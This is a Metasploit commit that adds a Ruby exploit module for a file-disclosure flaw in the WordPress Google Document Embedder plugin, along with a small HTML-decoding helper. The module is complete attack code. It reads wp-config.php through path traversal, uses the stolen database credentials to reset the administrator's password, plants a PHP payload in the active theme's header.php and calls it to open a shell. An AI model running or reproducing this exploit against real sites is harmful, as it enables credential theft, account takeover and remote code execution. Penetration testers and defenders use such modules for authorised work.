Merge branch 'master' of github.com:CharlieEriksen/metasploit-framework into CharlieEriksen-master
sinn3r
commit
1d3c1ec7fc
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@ -2,6 +2,7 @@
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require 'digest/md5'
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require 'digest/sha1'
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require 'stringio'
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require 'CGI'
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begin
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old_verbose = $VERBOSE
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@ -562,6 +563,14 @@ module Text
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end
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end
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#
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# Decode a string that's html encoded
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#
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def self.html_decode(str)
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decoded_str = CGI.unescapeHTML(str)
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return decoded_str
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end
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#
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# Encode an ASCII string so it's safe for XML. It's a wrapper for to_hex_ascii.
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#
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@ -0,0 +1,270 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rbmysql'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
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'Description' => %q{
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This module exploits an arbitrary file disclosure flaw in the WordPress
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blogging software plugin known as Google Document Embedder. The vulnerability allows for
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database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
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plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
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server is exposed on a accessible IP and Wordpress has filesystem write access. The
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admin password may get changed if the exploit does not run to the end.
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},
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'Author' =>
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[
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'Charlie Eriksen',
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2012-4915'],
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['OSVDB', '88891'],
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['URL', 'http://secunia.com/advisories/50832'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jan 03 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
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OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
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OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
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OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']),
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], self.class)
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end
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def check
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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plugins_uri = String.new(uri)
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plugins_uri << datastore['PLUGINSPATH']
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plugins_uri << '/' if plugins_uri[-1,1] != '/'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
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})
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if res and res.code == 200
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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plugins_uri = String.new(uri)
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plugins_uri << datastore['PLUGINSPATH']
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plugins_uri << '/' if plugins_uri[-1,1] != '/'
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admin_uri = String.new(uri)
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admin_uri << datastore['ADMINPATH']
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admin_uri << '/' if plugins_uri[-1,1] != '/'
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themes_uri = String.new(uri)
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themes_uri << datastore['THEMESPATH']
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themes_uri << '/' if plugins_uri[-1,1] != '/'
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print_status('Fetching wp-config.php')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
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'vars_get' =>
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{
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'fn' => "#{rand_text_alphanumeric(4)}.pdf",
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'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
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}
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})
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if res and res.body =~ /allow_url_fopen/
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fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
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elsif res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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end
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config = parse_wp_config(res.body)
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if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
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fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
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end
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begin
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@mysql_handle = ::RbMysql.connect({
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:host => config['DB_HOST'],
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:port => config['DB_PORT'],
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:read_timeout => 300,
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:write_timeout => 300,
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:socket => nil,
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:user => config['DB_USER'],
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:password => config['DB_PASSWORD'],
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:db => config['DB_NAME']
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})
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rescue Errno::ECONNREFUSED,
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RbMysql::ClientError,
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Errno::ETIMEDOUT,
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RbMysql::AccessDeniedError,
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RbMysql::HostNotPrivileged
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fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
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end
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res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
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INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
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if res.nil? or res.size <= 0
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fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
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end
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user = res.first
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new_password = rand_text_alphanumeric(8)
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@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
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print_status("Admin password changed to: #{new_password}")
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admin_cookie = get_wp_cookie(uri, user[0], new_password)
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theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
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print_status("Editing theme #{theme}")
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set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
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print_status("Calling backdoor")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{themes_uri}#{theme}/header.php",
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})
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if res and res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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end
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set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
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@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
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print_status("Shell should have been acquired. Disabled backdoor")
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end
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def parse_wp_config(body)
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print_status("Parsing config file")
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values = {}
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body.each_line do |line|
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if line =~ /define/
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key_pair = line.scan(/('|")([^'"]*)('|")/)
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if key_pair.length == 2
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values[key_pair[0][1]] = key_pair[1][1]
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end
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elsif line =~ /table_prefix/
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table_prefix = line.scan(/('|")([^'"]*)('|")/)
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values['DB_PREFIX'] = table_prefix[0][1]
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end
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end
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#Extract the port from DB_HOST and normalize DB_HOST
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values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
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if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
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print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
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values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
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end
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return values
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end
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def get_wp_cookie(uri, username, password)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}wp-login.php",
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'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
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'vars_post' =>
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{
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'log' => username,
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'pwd' => password,
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'wp-submit' => 'Log+In',
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'testcookie' => '1',
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},
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})
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if res and res.code == 200
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fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
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elsif res and res.code != 302
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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end
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admin_cookie = ''
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(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
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admin_cookie << cookie.split(';')[0]
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admin_cookie << ';'
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end
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if admin_cookie.empty?
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fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
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end
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return admin_cookie
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end
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def get_wp_theme(admin_uri, admin_cookie)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{admin_uri}theme-editor.php?file=header.php",
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'cookie' => admin_cookie,
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})
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if res and res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
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fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
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end
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nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
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old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
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theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
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return [theme, nonce, old_content]
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end
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def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{admin_uri}theme-editor.php?",
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'cookie' => admin_cookie,
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'vars_post' =>
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{
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'_wpnonce' => nonce,
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'theme' => theme,
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'newcontent' => new_content,
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'action' => 'update',
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'file' => 'header.php'
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},
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})
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if res and res.code != 302
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fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
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end
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end
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end
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